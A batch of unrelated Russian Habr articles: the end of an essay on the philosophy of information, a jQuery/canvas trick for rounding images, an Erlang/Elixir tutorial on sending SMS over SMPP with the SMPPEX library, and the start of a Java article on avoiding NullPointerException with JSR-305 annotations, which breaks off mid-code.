Таким образом, если верно предположение о том, что операция интегрирования здесь уместна (а для этого достаточно всего лишь того, чтобы хотя бы одна из физических величин обладала свойством непрерывности), то «информационная» ёмкость практически любой (т.е. кроме вырожденных случаев) материальной системы оказывается неограниченной. Это уничтожает любой смысл приравнивать информационную энтропию термодинамической. Похожесть формул можно списать на то, что в нашем мире есть много принципиально разных вещей, выражаемых похожими формулами. Есть и другие аргументы в пользу соответствия термодинамической и информационной энтропий, но, насколько мне известно, они либо никогда не подвергались экспериментальной проверке, либо (как, например, принцип Ландауэра) сами выведены из предположения о равенстве энтропий.
Говоря о связи темы «информация» с физикой, нельзя не упомянуть о понятии «квантовая информация». Законы квантовой механики таковы, что в некоторых случаях, описывая происходящее, действительно имеет смысл пользоваться информационными терминами. Например, согласно принципу неопределённости Гейзенберга, мы можем узнать точно либо импульс частицы, либо её положение. Из этого возникает иллюзия, что, проводя измерение, мы можем получить не больше некоего максимального объёма информации. Из этого как-бы автоматически следует вывод, что внутри частицы может существовать информация, притом её объём строго лимитирован. Ничего не могу сказать о продуктивности или контрпродуктивности такого использования информационных понятий, но есть сильное подозрение, что протянуть мостик между сугубо физическим понятием «квантовая информация» и той информацией, которой мы оперируем на макро-уровне (например, «Гамлетом»), не просто трудно, а вовсе невозможно.
Для передачи нашей макро-информации мы используем не только физические предметы и явления, но также и их отсутствие. Текст в книге кодируется не только веществом краски, но и неокрашенными промежутками (с равномерно окрашенного листа ничего прочитать невозможно). Можно также легко придумать массу ситуаций, когда очень важный сигнал передаётся не энергетическим воздействием, а его отсутствием. Я ещё готов представить себе, что внутри частицы содержится некая загадочная субстанция, которая и является информацией, но представить себе, что *внутри отсутствия* частицы тоже содержится информация – это что-то совсем противологичное.
На текущем уровне развития знаний о том, как устроен наш мир, мне кажется, что к понятию «квантовая информация» следует относиться примерно так же, как к понятию «цвет», используемому применительно к кваркам. То есть да, «квантовую информацию» вполне можно и нужно признать ценной концепцией, но при этом следует чётко понимать, что к той «информации», о которой мы говорим во всех остальных случаях, она может иметь только косвенное отношение. Возможно, конфликт можно разрешить тем соображением, что физика вполне может продуктивно изучать материальную основу передаваемого сигнала (в частности, давать ответ о максимально возможной ёмкости канала передачи данных), но наличие сигнала – хоть и необходимое, но не достаточное условие того, чтобы мы имели право говорить о том, что в рассматриваемом объекте присутствует информация.
Нужно чётко понимать, что физическую основу информации (некий аналог флогистонной теории, но только применимый не к теплоте, а к информации) мы не имеем не потому, что ещё не всё знаем, а потому, что её в принципе быть не может. Одним из самых существенных требований естественнонаучного метода, наиболее чётко и последовательно применяемого именно в физике, является изгнание из изучаемого явления наделённого свободой воли действующего субъекта. Субъект (так называемый «имплицитный наблюдатель»), конечно, должен быть рядом с рассматриваемым явлением, но он не в праве ни во что вмешиваться. Механистичность исследуемых явлений, то есть тотальное отсутствие целенаправленной деятельности – это то, что делает физику физикой. Но как только мы начинаем говорить об информации, мы никак не можем уйти от того, что получаемые субъектом сигналы являются сырьём для принятия решений. Имплицитному наблюдателю физических явлений должно быть всё равно, что наблюдать, а действующему субъекту, живущему одновременно и в материальном мире, и в информационной реальности, «всё равно» быть в принципе не может. Из этой диаметральной противоположности требований, предъявляемых к субъекту, помещаемому внутрь исследуемых явлений, следует, что явление «информация» не может быть сведено ни к каким физическим явлениям, включая даже те, которые ещё не открыты.
Что особенно удивительно, у материалистов с идеалистами достигнут прекрасный консенсус по вопросу о необходимости существования глубинной физической «информации». Материалистам это на руку тем, что физика таким образом достигает тотальности описания реальности (не остаётся ничего, что не является физической реальностью). А идеалисты празднуют победу потому, что таким образом их «дух» официально признаётся основой мироздания. Оба издавна враждующих лагеря празднуют победу, но скорее не друг над другом, а над здравым смыслом. И материалисты, и идеалисты весьма агрессивно реагируют на любую попытку связать материальный и идеальный миры любым альтернативным банальной реификации способом.
### Данные
Как говорилось выше, сигнал можно рассматривать не только материальный объект, но и объект нематериальный. Согласно принципу тотальности физической реальности, сигнал, конечно, обязан иметь физическое воплощение, но сплошь и рядом случаются ситуации, когда физическая сторона сигнала нас вообще не интересует, а интересует лишь нематериальная составляющая. В таких случаях мы полностью абстрагируемся от физики сигнала, и в результате для дальнейших рассуждений у нас остаётся весьма странный предмет. Физику мы отбросили, а о наличии внутри этого предмета информации по-прежнему говорить нельзя, поскольку это всего лишь сигнал, и для того, чтобы возникла информация, для него нужен контекст. Такие объекты будем называть данными. Данные – это нематериальный сигнал. Нематериальный он не потому, что имеет какую-то потустороннюю природу и путешествует через тонкие астральные сущности, а потому, что в данном конкретном случае нам оказалось не важно, как именно он путешествует. Например, томик «Гамлета» в красивом переплёте, да её и какого-нибудь раритетного издания – это сигнал, в котором нам интересна и материальная, и нематериальная составляющие. Но если нужно просто освежить в памяти монолог «быть или не быть», то мы ищем *текст*, и нам не важно, где его найдём. Годится и бумажная книжка, и файл на флешке, и сервис сетевой библиотеки. Текст «Гамлета» – это данные, а томик подарочного издания «Гамлета» – уже не только они.
Особый интерес представляет случай объекта, для которого не только физика не существенна, но ещё и подходящий контекст отсутствует. Представьте себе надпись на незнакомом языке (я китайского не знаю, поэтому пусть это будет китайский). Мне хочется узнать, что эта надпись означает, и поэтому я беру листочек и аккуратно перерисовываю иероглифы. Просто копирую все чёрточки и закорючки. Для меня это всё именно чёрточки и закорючки. Смысл изображённого появится только после того, как я покажу этот листочек тому, кто владеет китайским языком, и он переведёт надпись на какой-нибудь более понятный мне язык. А пока этого не случилось, я на листочке имею информационный объект, который определённо есть сигнал, но сигнал для отсутствующего в данный момент контекста.
В случае с копированием китайских иероглифов я мог бы не утруждать себя перерисовыванием *данных* (это именно данные) на бумажку, а сфотографировать на телефон и послать своему знакомому по почте. По ходу путешествия этого сигнала к моему другу отсутствие контекста для интерпретации этой надписи наблюдалось бы не только у меня, но и у программного обеспечения телефона, почтовой программы и всего того великолепия протоколов Интернета, которые поучаствовали бы в передаче данных. Можно было бы сказать, что вообще такая вещь, как понимание, свойственно исключительно нам, сверхсложным существам из плоти и крови, но это будет не совсем правда. Например, при передаче картинки с иероглифами транспортный уровень сети дополнит передаваемые данные своими служебными данными, которые *понятны* (то есть будут правильно проинтерпретированы) тем механизмам, которая реализует транспортный уровень сети передачи данных. Если предположить, что **понимание** – это совсем не обязательно что-то загадочное и высокое, проникновенным взором усматривающее самую суть явлений, а всего лишь наличие адекватного контекста (в случае транспортного уровня сети этот контекст формируется тем, что разработчики сетевой инфраструктуры чтут протокол TCP), то можно уверенно говорить о том, что технические системы у нас тоже наделены способностью к пониманию. Да, это понимание не очень похоже на наблюдаемую нами изнутри самих себя нашу способность ухватывать суть явлений, но дела это не меняет.
Понятие «данные» хоть и не привносит ничего принципиально нового в метафизику информации, но, тем не менее, с практической точки зрения оказывается на редкость полезным. Двухкомпонентная конструкция «сигнал-контекст» хоть и обладает полнотой (третья компонента не нужна), но при попытке применить её в повседневной жизни, сразу возникает масса неудобств. Источник неудобств – в том, что понятие «сигнал» чётко ассоциируется с материальной стороной процесса, а когда материальную сторону приходится игнорировать, «заземляющая» сила «сигнала» начинает сильно мешать. Представьте себе, что ваш товарищ собирается совершить путешествие в Бремен и спрашивает вас, как бы ему можно было узнать побольше об этом городе. Первое, что вам приходит на ум – это Википедия. Посмотрев по разным языковым разделам, вы замечаете, что русскоязычная статья хоть и хорошая, но очень маленькая, а англоязычная хоть и значительно длиннее, но всё же уступает статье на немецком языке (что ничуть не удивительно). Теперь вам нужно сказать своему товарищу, что в англоязычной статье информации больше, чем в русскоязычной, но тут вы, вспомнив философию информации, понимаете, что информации не может быть ни в каком из разделов. Статья в Википедии – это сигнал, который становится информацией, когда попадает в контекст. Проблема. *«Сигнал, записанный на жёстких дисках англоязычных серверов Википедии при попадании в контекст твоего восприятия…»* – фу, жуть какая. Как товарищу добраться своим контекстом до этих жёстких дисков? *«Сигнал, доставленный через Wi-Fi с англоязычных серверов…»* – тоже что-то не то. При чём здесь Wi-Fi, если товарищ с таким же успехом может пойти в Википедию через мобильный Интернет? При замене понятия «сигнал» синонимом «данные» (в данном случае получается именно синоним) все неудобства исчезают. *«Можешь посмотреть в Википедии, но имей в виду, что в английской, и особенно в немецкой статье данных про Бремен значительно больше»*. Воспользовались тем, что хоть, как мы теперь знаем, информации в статье быть не может, но данные – это, собственно, и есть статья. Сигнал, физическая реализация которого в данном конкретном случае нам не важна.
По своей практике скажу, что, поэкспериментировав с переходом на корректную терминологию в повседневной жизни и профессиональной деятельности (информационные технологии), я ни разу не столкнулся с тем, чтобы кто-то из моих собеседников вообще заметил, что что-то поменялось. Единственное, что теперь приходится обращать внимание на то, о чём идёт речь – о данных, или всё же об информации. Например, в базе данных теперь хранится не информация, а именно данные, но пользователи, занося эти данные в базу, таким образом обмениваются информацией. Система по-прежнему остаётся информационной, но функционирует на основе накапливаемых данных.
С развитием сетей передачи у нас появился достаточно простой критерий, позволяющий определить, имеем ли мы право полностью абстрагироваться от физики конкретного объекта и, в результате, говорить о нём как об **информационном объекте** (то есть о *данных*). Критерий такой: *если предмет мы можем передать через Интернет, значит, мы имеем полное право говорить об этом объекте как об объекте информационном*.
Примеры:
* Котлета – не информационный объект, поскольку она нам интересна (вкусна и питательна) именно в своём физическом воплощении.
* Рецепт приготовления котлеты – информационный объект. Его можно передать без потерь через Интернет. Со всеми подробностями и тонкостями, с картинками, и даже с видео.
* Монета – не совсем информационный объект. Особенно, если она имеет нумизматическую ценность.
* Деньги – информационный объект. Многим из нас, в том числе и мне, приходилось платить через Интернет. Вообще, деньги – это чрезвычайно интересный с точки зрения философии информации объект. Возможно, вы помните сказанное выше, что информация не подчиняется законам сохранения, но для того, чтобы деньги работали, подчиняться закону сохранения они должны. Поэтому для информационных объектов «деньги» искусственно создана такая инфраструктура, которая целенаправленно блюдёт баланс «если где-то прибавилось, значит, где-то обязательно ровно столько же убавилось». К обсуждению феномена денег мы ещё вернёмся, когда будем обсуждать субъектов и системообразование.
Для чистоты терминологии, конечно, лучше было бы говорить не об «информационном», а о *нематериальном объекте*. Но термин «информационный» намного удобнее, поскольку в нём отсутствует частица «не».
Обращаю внимание на то, что рассмотренное простое эмпирическое правило идентификации информационного объекта имеет структуру «если-то», и поэтому работает только в одну сторону. То есть из того, что мы что-то никак не можем передать через Интернет, вовсе не следует того, что объект не является информационным. Например, мы не можем в «живом» виде (то есть в виде последовательности цифр) передать число пи. Мы можем передать рецепт приготовления этой «котлеты» (то есть программу, последовательно вычисляющую знаки после запятой числа пи), можем передать картинку с обозначением, но саму эту «котлету» – не можем.
### Информация в числе пи
Коль скоро зашла речь о числе пи, имеет смысл разобрать один забавный кейс, связанный с этой штукой.
Поговаривают, что среди цифр, составляющих бесконечно длинный хвост числа пи теоретически можно отыскать любую наперёд заданную последовательность цифр. Если быть совсем точными, то это пока всего лишь гипотеза, не доказанная и не опровергнутая. Существуют действительные числа, обладающие свойством содержать в себе любую конечную последовательность цифр (они называются «нормальными»), но гипотеза о том, что число пи является нормальным, пока не доказана. В частности, нормальное число, содержащее любую последовательность нулей и единиц, можно получить, последовательно дописывая в хвост после десятичной точки переборы всех комбинаций, постепенно наращивая разрядность. Вот так:
0,(0)(1)(00)(01)(10)(11)(000)(001)(010)(011)(100)(101)(110)(111)(0000)… и так далее.
В десятичном виде получится число чуть больше 0.27638711, и в этом числе гарантированно присутствует содержимое любого файла с вашего жёсткого диска, даже того, который вы ещё туда не записали.
Но мы зажмуримся на то, что нормальность числа пи не доказана, и будем в своих рассуждениях считать его нормальным. Число пи покрыто массой историй, загадок и предрассудков, и поэтому о нём рассуждать интереснее, чем о какой-то немудрёной алгоритмической выдаче. Если вам доставляет неудобство допущенная математическая погрешность, просто считайте, что дальше здесь я говорю не о числе пи, а о любом нормальном по основанию 2 числе.
Получается весьма величественная картина. Представьте себе, что вы на склоне лет сядете, напишете свою подробную биографию, и запишете её в файл. Так вот, выходит, что в числе пи эта последовательность нулей и единиц есть уже сейчас. А также есть такая же последовательность, но дополненная точной датой и обстоятельствами вашей смерти. Вот уж поистине получается книга судеб, не правда ли?
Начало нашей книги судеб (целая часть и первые 20 знаков бесконечного хвоста) выглядит так:
11.00100100001111110110…
Давайте подумаем, как такую книгу судеб можно было бы прочитать. Допустим, я написал свою биографию вплоть до текущего момента, взял вычислитель фантастической мощности и заставил его найти имеющееся начало моей биографии среди знаков числа пи. Глупо рассчитывать на то, что первое попавшееся вхождение имеет осмысленное продолжение. Скорее всего, там дальше идёт бессмысленная мешанина нулей и единиц. Немножко поколдовав над алгоритмом вычислителя, я научил его находить не только вхождения известной части биографии, но и анализировать, является ли продолжение осмысленным текстом, написанным примерно в том же стиле. И вот наконец мой вычислитель нашёл такой фрагмент. Уж не знаю, обрадует он меня или опечалит, но я не буду останавливать вычислитель. Пусть он продолжит свою работу. Через какое-то время он меня завалит ворохом найденных в числе пи версий моей дальнейшей биографии. Некоторые будут вполне обычными («работал, вышел на пенсию тогда-то, состарился, болел тем-то, умер тогда-то»), но остальные будут намного интереснее. Например, в одной из версий будет о том, что завтра, не раньше ни позже, случится глобальный зомби-апокалипсис, и меня растерзают кровожадные мертвецы. А в другой обязательно (в числе ведь есть все комбинации ноликов и единичек) будет написано, что я обрету бессмертие и всемогущество, и стану повелителем Вселенной. И ещё бесконечное множество вариантов, нескончаемым потоком выползающих из вычислителя. Какой из этих версий верить? Может быть, самой первой? А почему именно ей?
Для того чтобы упростить себе задачу, попробуем погадать на числе пи немножко попроще. Зададим ему простой бинарный вопрос. Например, выгодно ли мне будет именно сегодня прикупить присмотренный пакет акций? Если первой в дробной части числа пи найдётся единичка, то, значит, всеведущий оракул ответил мне, что выгодно. Если нолик, то это значит, что нужно подождать. Смотрим. Нолик встретился прямо в первой позиции, а единичка, вон, аж даже не во второй, а в третьей. Ой, что-то мне подсказывает, что с таким оракулом я в своей жизни ни одной акции не куплю. К этому бы оракулу ещё бы приложить какого-нибудь дополнительного оракула, который подсказывает, в какую позицию следует смотреть.
Получается, что для извлечения *информации* из *данных* книги судеб нам не хватает самой малости – ключика, который подскажет, с какой конкретно позиции следует эту книгу читать. А без ключика единственная информация, которая для нас содержится в бесконечном хвосте цифр числа пи – это отношение длины окружности к диаметру. Как-то даже грустно получается…
### *Итоги главы*
В этой главе при помощи двухкомпонентной конструкции «сигнал-контекст» мы научились не только избавляться от реификации «информации», но и получили инструмент, позволяющий без задействования мистических практик протягивать мостик между материальным и нематериальным аспектами реальности.
Основные рассмотренные понятия и концепции:
1. *Информация* как сочетание сигнала и контекста.
2. *Сигнал* как некое обстоятельство, которое может быть проинтерпретировано.
3. *Контекст* как информация о том, как может быть проинтерпретирован сигнал.
4. *Связь информации и энтропии существует, но её не следует абсолютизировать.* В одних ситуациях обретение информации можно рассматривать как победу нах хаосом, в других – наоборот, в третьих – даже невозможно идентифицировать, об упорядочивании чего может идти речь. Наиболее чётко связь с энтропией прослеживается при решении задачи передачи данных через зашумлённый канал, но эта задача – далеко не всё, что нам доводится делать с информацией.
5. Каждый раз, *измеряя информацию*, мы должны задаваться вопросом о том, получаем ли мы в результате аддитивную величину. Если получилась не аддитивная величина, то её лучше ни с чем не складывать и ни на что не умножать.
6. *Класс информативности* как средство на качественном уровне оценить перспективы получения требуемой информации. Три класса: конечная информативность, бесконечная и неразрешимая.
7. *Информация не может иметь непосредственной физической основы.* Любые попытки поиска физической основы информации можно и нужно рассматривать как метастазы реификации. Связь физики с информацией должна осуществляться только через понятие «сигнал».
8. *Данные* как сигнал, от материальной составляющей которого можно абстрагироваться. Понятие «данные» хоть и не имеет отдельной философской ценности, но позволяет избавиться от неудобств, вызванных материалистической ориентированностью понятия «сигнал».
9. Инструментальный приём *«может ли оно быть передано через Интернет»* для быстрого определения, является ли рассматриваемый предмет *информационным объектом*.
Дальше будет только интереснее, но если вы не разобрались, как нам при помощи сигналов и контекстов удалось подружить физику с лирикой, вам будет грустно.
---
*Продолжение: [Глава 3. Основания](https://habr.com/post/403383/)* | https://habr.com/ru/post/403327/ | null | ru | null |
# Решение проблемы border-radius + overflow:hidden с помощью canvas
Передо мной стояла следующая задача:
Есть блок с фоном (необязательно однородным), в нем какое-то количество круглых элементов с белым фоном, внутри которых размещены закругленные картинки любого размера. Если размер картинки меньше размера блока — она центрируется (как по вертикали, так и по горизонтали), если же размер картинки больше размера блока — больший параметр картинки занимает 100% параметра блока, а второй параметр сохраняет пропорциональное отношение, как и в оригинальной картинке.
Для многих не секрет, что если закруглять саму картинку, то красиво получится, только с картинкой, соотношение сторон у которой 1:1, в остальных случаях возникнут проблемы:
Использование стандартных css свойств (border-radius:150px; overflow:hidden;), применительно к блоку с картинкой, не работает во многих *(пока вышла статья — старых)* браузерах [ссылка](http://jsfiddle.net/iLight/4y3Va/).
Можно найти много разных решений проблемы, но не одно из них мне не подошло.
Я предлагаю следующее решение (оно не универсально, в т.ч. **не работает в IE7, IE8**) но я считаю его полезным и оно работает во всех браузерах, поддерживающих canvas.
[jsfiddle.net/iLight/EsFTG/23](http://jsfiddle.net/iLight/EsFTG/23/)
Центрируем картинки по вертикали:
```
$('.i-img-cont').each(function(){
$(this).find('img').css('margin-top', parseInt(-$(this).find('img').height()/2));
});
```
Заменяем картинку на canvas
```
var i=0, mywidth, myheight;
$('.i-img-cont').each(function(){
var contWidth = $(this).width(),
contHeight = $(this).height(), //получаем значение ширины и высоты контейнера
cnv = document.createElement("canvas"); //создаем канву
cnv.width=contWidth;
cnv.height=contHeight; //задаем ей значения высоты и ширины такие как у контейнера
$(this).prepend(cnv); //добавляем в начало контейнера канву, картинка при этом просто уезжает вниз
i++;
var j=i-1;
$(this).find('canvas').attr('id', 'canvas'+j); //даем канве свой id
var ctx = document.getElementById('canvas'+j).getContext('2d'), //инициализируем контекст
img = new Image(), //создаем в канве картинку
attrsrc=$(this).find('img').attr('src'); //получаем путь исходной картинки
img.src = attrsrc; //присваиваем картинке в канве путь исходной картинки
img.onload = function(){
mywidth = $('#canvas'+j).next('img').width();
myheight = $('#canvas'+j).next('img').height(); //получаем высоту и ширину исходной картинки
var xpos = (contWidth-mywidth)/2,
ypos = (contHeight-myheight)/2; //рассчитываем расположение картинки в канве
ctx.drawImage(img, xpos, ypos, mywidth, myheight); //рисуем картинку на холст
}
});
```
Затем просто закругляем canvas:
```
.i-img-cont canvas{border-radius:150px;}
```
Можно так же указать браузеры в которых не нужно создавать canvas (Напимер FF, IE9-10, Chrome). Или те в которых это необходимо, чтобы не делать лишней работы для «умных» браузеров.
P.S. Excanvas не выручает, если есть решения для IE7-8, кроме вырезания уголков в фотошопе — буду признателен. | https://habr.com/ru/post/179525/ | null | ru | null |
# Отправляем SMS из Erlang/Elixir. Короткая инструкция
Photo by [Science in HD](https://unsplash.com/@scienceinhd)
Если вам когда-либо приходилось решать задачу отправки SMS из кода вашего приложения, скорее всего, вы использовали готовое REST API поставщика дополнительных услуг. Но что происходит после того, как поставщик получит ваш запрос? Какие протоколы используются и какой путь проходит текст сообщения, прежде чем оказаться на экране мобильного терминала пользователя?
В этой статье вы найдёте:
1. Немного теории и терминологии SMPP-протокола: SMSC, ESME, PDU, MO/MT SM.
2. Краткий обзор существующих библиотек для работы с SMPP в Erlang/Elixir.
3. [Пример реализации](https://github.com/Elzor/smpp_in_erlang) асинхронного клиента при помощи библиотеки [SMPPEX](https://github.com/funbox/smppex). Возможно, он будет полезен тем, кто ещё не использовал Elixir-библиотеки в Erlang-проектах.
4. Информацию по обработке deliver\_sm, MO SM.
Чего тут точно нет, так это информации по отправке коротких сообщений через SIGTRAN.
Определимся с терминами и понятиями
-----------------------------------
Прежде чем погружаться в протоколы и код, предлагаю разобраться в терминологии. Если быть придирчивым к определениям, то отправить SMS невозможно. Вспоминается момент из «Джентльменов удачи»: «Кто ж его отправит — он же сервис!» SMS — акроним от short message service, что на русский переводится как «сервис/служба коротких сообщений». Если возвращаться к шутке, то отправляем мы SM, т. е. короткие сообщения, используя SMS — сервис коротких сообщений.
У каждого оператора мобильной связи есть компонент, отвечающий за работу службы коротких сообщений. Это так называемый SMS-центр, он же SMSC, он же SMS-SC. Его задачами являются хранение, передача, конвертация и доставка SM-сообщений. Наиболее распространенным внешним протоколом взаимодействия с SMSC является SMPP. SMPP — клиент-серверный протокол-комбайн, отвечающий за обмен короткими сообщениями в одноранговой сети. Источником SM могут быть устройства и приложения. В терминологии SMPP их называют ESME.
Давайте ответим на вопросы в начале статьи. Итак, ваше сообщение по REST API или SMPP попало к поставщику услуг, у которого заключён договор с одним или несколькими операторами связи или другими посредниками. Сервер поставщика подключается к SMSC и отправляет по SMPP ваше SM, затем получает отчёт о доставке или ответное SM. В процессе обработки SM могут проходить через маршрутизаторы — RE. SMSC, сходив в HLR, узнает местоположение абонента и доставит SM абоненту. Общая картина и понимание проблемы, надеюсь, у вас появились. Давайте погрузимся в протокольные тонкости.
SMPP
----
Выше я сказал, что SMPP — протокол-комбайн. Подобный эвфемизм я позволил себе из-за того, что SMPP применим не только для организации обмена SMS, с его помощью можно организовать различные сервисы: ESM, голосовой почты, уведомлений, сотового радиовещания, WAP, USSD и прочие. Весь обмен происходит с помощью пар запрос-ответ. Их называют PDU — блоками данных или пакетами.
### Инициализация подключения
Перед началом обмена мы должны указать, в каком направлении будет работать наше подключение. За это отвечают соответствующие команды:
* bind\_transmitter — клиент может только отправлять запросы на сервер;
* bind\_receiver — клиент только получает ответы от сервера;
* bind\_transceiver — клиент работает в обоих направлениях, этот режим появился в SMPPv3.4.
### Безопасность
При выполнении команды привязки мы должны передать параметры безопасности для идентификации нашего ESME: system\_id, system\_type и password.
SMPP в экосистеме OTP
---------------------
Недавно у хорошего друга возник вопрос по работе с SMPP в Erlang. Собственно, благодаря этому и родился этот текст.
Казалось бы, никаких проблем. Проверенный временем телеком-протокол с давно известными проблемами с одной стороны и телеком-язык с другой. Все должно быть просто и весело, как в песенке PPAP.
Но есть нюанс… Найти адекватную реализацию оказалось непросто.
Наверняка все, кто пытался серьёзно работать с Erlang, знают про его недостаток, связанный с ограниченным выбором библиотек. С SMPP такая же история — в OTP нет штатной поддержки этого протокола, а на первой странице выдачи Гугла творится что-то странное:
* [esmpp](https://github.com/VoyagerInnovations/esmpp) — библиотека со странным API и отсутствующим сообществом;
* древний [OSERL](https://github.com/iamaleksey/oserl) — проект стартовал 11 лет назад, последний коммит сделали более 5 лет назад;
* неподдерживаемый [smpp34](https://github.com/essiene/smpp34) — последний коммит был более 10 лет назад;
* куча вопросов вида «Какую библиотеку/клиента использовать для SMPP?» на тематических форумах.
Лично я бы загрустил от такого разнообразия существующих решений. Особенно, когда хочется асинхронного режима, адекватной поддержки SMPP 3.4 и возможности написать как клиент, так и сервер. Но на помощь приходит Elixir и библиотека [SMPPEX](https://github.com/funbox/smppex).
SMPPEX
------
Про сам проект скажу только то, что он активный и готов для продакшен-применения. Это стабильная, всесторонняя библиотека для SMPP с продуманным API, хорошей поддержкой разработчиков и отсутствием проблем с лицензией.
От слов к делу
--------------
Сначала можно ознакомиться с примерами [синхронного](https://hexdocs.pm/smppex/SMPPEX.html#module-smppex-esme-sync) и [асинхронного](https://hexdocs.pm/smppex/SMPPEX.html#module-smppex-esme) клиента в документации. Затем можно перейти к более сложным вещам в контексте использования SMPPEX в Erlang-проекте.
Для иллюстрации возможностей библиотеки возьмём простой сценарий:
1. Поднять линк.
2. Отправить сообщение.
3. Дождаться отчёта о доставке либо обработать входящие сообщения.
Придумаем дополнительные требования. Допустим, мы хотим отправлять MT SM, получать отчёты о доставке и MO SM. При этом по каким-то причинам нам нужны кастомные PDU и полный контроль над линком, поэтому за формирование submit\_sm PDU и обработку всех входящих PDU мы будем отвечать сами. При этом мы не должны забывать про требование асинхронности.
### Работа с линком
Надеюсь, что сложностей с установкой зависимости из hex.pm у вас не возникло и мы можем приступить к написанию кода. Как говорилось выше, работать мы будем в асинхронном режиме, поэтому запускаем клиента с помощью модуля SMPPEX.ESME:
```
'Elixir.SMPPEX.ESME':start_link(SmscHost, SmscPort, {?MODULE, [Opts]})
```
Для синхронного режима существует SMPPEX.ESME.Sync.
Наш клиент готов, и мы можем сделать привязку к SMSC. Предположим, что SMSC поддерживает SMPPv3.4 и мы можем использовать transceiver режим:
```
'Elixir.SMPPEX.Pdu.Factory':bind_transceiver(SystemId, Pass)
```
Если всё прошло хорошо, нам должен прийти PDU с командой bind\_transceiver\_resp:
```
bind_transceiver_resp = 'Elixir.SMPPEX.Pdu':command_name(Pdu)
```
### Формирование PDU для MT SM
Линк поднят, и мы можем отправить наше сообщение. В терминах SMPP, сообщения адресуемые абоненту называются Mobile Terminated (MT SM). Соберём PDU для него:
```
submit_sm_pdu(SourceMsisdn, DestMsisdn, Message, Ttl) ->
{ok, CommandId} = 'Elixir.SMPPEX.Protocol.CommandNames':id_by_name(submit_sm),
{D, {H, M, S}} = calendar:seconds_to_daystime(Ttl),
VP = lists:flatten(io_lib:format("0000~2..0w~2..0w~2..0w~2..0w000R", [D, H, M, S])),
'Elixir.SMPPEX.Pdu':new(
CommandId,
#{
source_addr => SourceMsisdn,
source_addr_ton => 1,
source_addr_npi => 1,
destination_addr => DestMsisdn,
dest_addr_ton => 1,
dest_addr_npi => 1,
short_message => Message,
data_coding => 246,
protocol_id => 127,
%% For concatenated messages
esm_class => 64,
registered_delivery => 1,
validity_period => list_to_binary(VP)
}
).
```
### Обработка отчетов о доставке и MO SM
Mobile originated (MO SM) — сообщения от абонента.
После отправки сообщения в линк SMSC ответит нам submit\_sm\_resp, в котором указан уникальный ID нашего сообщения:
```
MsgId = 'Elixir.SMPPEX.Pdu':mandatory_field(Pdu, message_id)
```
Теперь нам необходимо дождаться deliver\_sm с этим message\_id.
Чтобы отличить отчёты о доставке от MO SM, проанализируем esm\_class:
```
EsmClass = 'Elixir.SMPPEX.Pdu':mandatory_field(Pdu, esm_class),
case <> of
<<\_Head : 2, 0 : 1, 0 : 1, 0 : 1, 1 : 1, \_Tail : 2>> -> handle\_delivery\_receipt(Pdu);
<<\_Head : 2, 0 : 1, 0 : 1, 0 : 1, 0 : 1, \_Tail : 2>> -> handle\_standart\_message(Pdu);
Some -> ?LOG\_ERROR("unknown deliver\_sm: ~p", [Some])
end
```
При этом для обработки отчётов о доставке нам достаточно узнать ID доставленного сообщения:
```
SmsId = 'Elixir.SMPPEX.Pdu':field(Pdu, receipted_message_id)
```
А для входящих сообщений узнать номер отправителя:
```
Msisdn = 'Elixir.SMPPEX.Pdu':field(Pdu, source_addr)
```
и полезное содержимое сообщения:
```
Payload = 'Elixir.SMPPEX.Pdu':field(Pdu, short_message)
```
Как известно, спецификация SMPP требует deliver\_sm\_resp в ответ на deliver\_sm. Поэтому после обработки отчёта о доставке и входящего сообщения мы должны ответить deliver\_sm\_resp. Создадим PDU для него:
```
deliver_sm_resp_pdu(MessageId) ->
{ok, CommandId} = 'Elixir.SMPPEX.Protocol.CommandNames':id_by_name(deliver_sm_resp),
CommandStatus = 0,
SeqNumber = 0,
'Elixir.SMPPEX.Pdu':new({CommandId, CommandStatus, SeqNumber}, #{message_id => MessageId}, #{}).
```
Я специально не указываю номер команды, добавим его автоматически:
```
ReplyPdu = 'Elixir.SMPPEX.Pdu':as_reply_to(deliver_sm_resp(SmsId), Pdu)
```
Весь код демопроекта можно [найти в репозитории](https://github.com/Elzor/smpp_in_erlang).
OTP-тренды
----------
В 2020 году на тренды развития OTP и BEAM всё большее влияние оказывает сообщество Elixir. Чаще и чаще хорошие инструменты и полезные библиотеки можно найти на Elixir, а не на Erlang. Это не повод для тревоги за Erlang, просто Elixir смог заинтересовать и привлечь больше людей в своё сообщество, и это прекрасно. А благодаря OTP для использования той или иной библиотеки нам не важно, на чём она написана. Надеюсь, пример из статьи смог показать гибкость SMPPEX как инструмента и удобство применения библиотек, написанных на Elixir в Erlang-проектах. | https://habr.com/ru/post/535594/ | null | ru | null |
# Побеждаем NPE hell в Java 6 и 7, используя Intellij Idea
#### Disclaimer
* Статья не претендует на открытие Америки и носит популяризаторско-реферативный характер. Способы борьбы с NPE в коде далеко не новые, но намного менее известные, чем этого хотелось бы.
* Разовый NPE — это, наверное, самая простая из все возможных ошибок. Речь идет именно о ситуации, когда из-за отсутствия политики их обработки наступает засилье NPE.
* В статье не рассматриваются подходы, не применимые для Java 6 и 7 (монада MayBe, JSR-308 и Type Annotations).
* Повсеместное защитное программирование не рассматривается в качестве метода борьбы, так как сильно замусоривает код, снижает производительность и в итоге все равно не дает нужного эффекта.
* Возможны некоторые расхождения в используемой терминологии и общепринятой. Так же описание используемых проверок Intellij Idea не претендует на полноту и точность, так как взято из документации и наблюдаемого поведения, а не исходного кода.
#### JSR-305 спешит на помощь
Здесь я хочу поделиться используемой мной практикой, которая помогает мне успешно писать почти полностью NPE-free код. Основная ее идея состоит в использовании аннотаций о необязательности значений из библиотеки, реализующей JSR-305 (com.google.code.findbugs: jsr305: 1.3.9):
* @Nullable — аннотированное значение является необязательным;
* @Nonnull — соответственно наоборот.
Естественно обе аннотации применимы к полям объектов и классов, аргументам и возвращаемым значениям методов, локальным переменным. Таким образом эти аннотации дополняют информацию о типе в части обязательности наличия значения.
Но аннотировать все подряд долго и читаемость кода резко снижается. Поэтому, как правило, команда проекта принимает соглашение о том, что все, что не помечено `@Nullable`, является обязательным. С этой практикой хорошо знакомы те, кто использовал Guava, Guice.
Вот пример возможного кода такого абстрактного проекта:
```
import javax.annotation.Nullable;
public abstract class CodeSample {
public void correctCode() {
@Nullable User foundUser = findUserByName("vasya");
if(foundUser == null) {
System.out.println("User not found");
return;
}
String fullName = Asserts.notNull(foundUser.getFullName());
System.out.println(fullName.length());
}
public abstract @Nullable User findUserByName(String userName);
private static class User {
private String name;
private @Nullable String fullName;
public User(String name, @Nullable String fullName) {
this.name = name;
this.fullName = fullName;
}
public String getName() { return name; }
